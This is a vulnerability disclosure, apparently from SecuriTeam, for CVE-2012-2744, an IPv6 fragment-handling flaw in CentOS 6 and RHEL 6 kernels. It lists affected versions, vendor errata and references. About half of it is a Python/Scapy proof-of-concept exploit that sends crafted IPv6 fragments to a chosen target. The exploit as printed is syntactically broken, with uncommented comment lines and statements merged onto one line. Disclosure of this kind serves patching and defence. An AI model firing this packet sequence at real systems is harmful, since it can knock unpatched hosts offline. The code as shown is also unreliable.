|
|
|
|
| |
Credit:
The information has been provided by Antonios Atlasis
The vulnerability was disclosed by SecuriTeam Secure Disclosure program.
|
| |
Vulnerable Systems:
*Centos 6, kernel 2.6.32-71
*Centos 6, kernel 2.6.32-71.29.1 (latest update at 10/08/2011)
*Redhat 6.1 (evaluation version), kernel 2.6.32.131.0.15
*Redhat 6.2beta1, kernel 2.6.32-202 (released at 2011-10-05)
Immune Systems:
* None
CVE Information:
CVE-2012-2744
Solution:
See solutions provided at:
https://rhn.redhat.com/errata/RHSA-2012-1148.html,
https://rhn.redhat.com/errata/RHSA-2012-1129.html
and
https://rhn.redhat.com/errata/RHSA-2012-1064.html
Exploit:
#!/usr/bin/python
from scapy.all import *
POC code for CVE-2012-2744
Written by Antonios Atlasis
if (len(sys.argv) == 3):
dip = sys.argv[2]
sip = sys.argv[1]
else:
print "Usage: CVE-2012-2744.py <source> <dest>"
sys.exit(1)
myid=random.randrange(1,4294967296,1) #generate a random fragmentation id
payload1=Raw("AABBCCDD")
icmpv6=ICMPv6EchoRequest(data=payload1)
ipv6_1=IPv6(src=sip, dst=dip, plen=24)
ipv6_2=IPv6(src=sip, dst=dip, plen=16)
csum=in6_chksum(58, ipv6_1/icmpv6, str(icmpv6))
icmpv6=ICMPv6EchoRequest(cksum=csum, data=payload1) frag1=IPv6ExtHdrFragment(offset=0, m=1, id=myid) frag2=IPv6ExtHdrFragment(offset=1, m=0, id=myid)
packet1=ipv6_1/frag1/icmpv6
packet2=ipv6_2/frag2/payload1
send(packet2)
send(packet1)
References
* http://www.securiteam.com/cves/2012/CVE-2012-2744.html
* http://www.securityfocus.com/bid/54367/exploit
* https://bugzilla.redhat.com/show_bug.cgi?id=833402
|
|
|
|
|
